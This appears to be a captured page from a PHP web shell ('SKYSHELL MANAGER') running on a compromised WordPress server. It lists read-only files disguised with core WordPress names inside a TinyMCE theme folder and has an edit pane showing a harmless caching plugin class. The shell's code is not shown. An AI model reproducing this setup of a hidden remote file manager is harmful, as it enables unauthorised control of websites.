📁
SKYSHELL MANAGER
PHP v8.3.6
Create
Create
Path:
root
/
var
/
www
/
cstage
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
ms-files.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: Cache_File_Cleaner_Generic_HardDelete.php
<?php /** * File: Cache_File_Cleaner_Generic_HardDelete.php * * @package W3TC */ namespace W3TC; /** * Class Cache_File_Cleaner_Generic_HardDelete * * phpcs:disable Generic.CodeAnalysis.UselessOverridingMethod.Found * phpcs:disable PSR2.Methods.MethodDeclaration.Underscore * phpcs:disable WordPress.PHP.NoSilencedErrors.Discouraged * phpcs:disable WordPress.WP.AlternativeFunctions.unlink_unlink */ class Cache_File_Cleaner_Generic_HardDelete extends Cache_File_Cleaner_Generic { /** * Constructor * * @param Config $config Config. * * @return void */ public function __construct( $config = array() ) { parent::__construct( $config ); } /** * Clean file * * @param string $entry Entry. * @param string $full_path Full path. * * @return void */ public function _clean_file( $entry, $full_path ) { if ( substr( $entry, -4 ) === '_old' && ! $this->is_old_file_valid( $full_path ) ) { ++$this->processed_count; @unlink( $full_path ); } elseif ( ! $this->is_valid( $full_path ) ) { @unlink( $full_path ); } } }
Save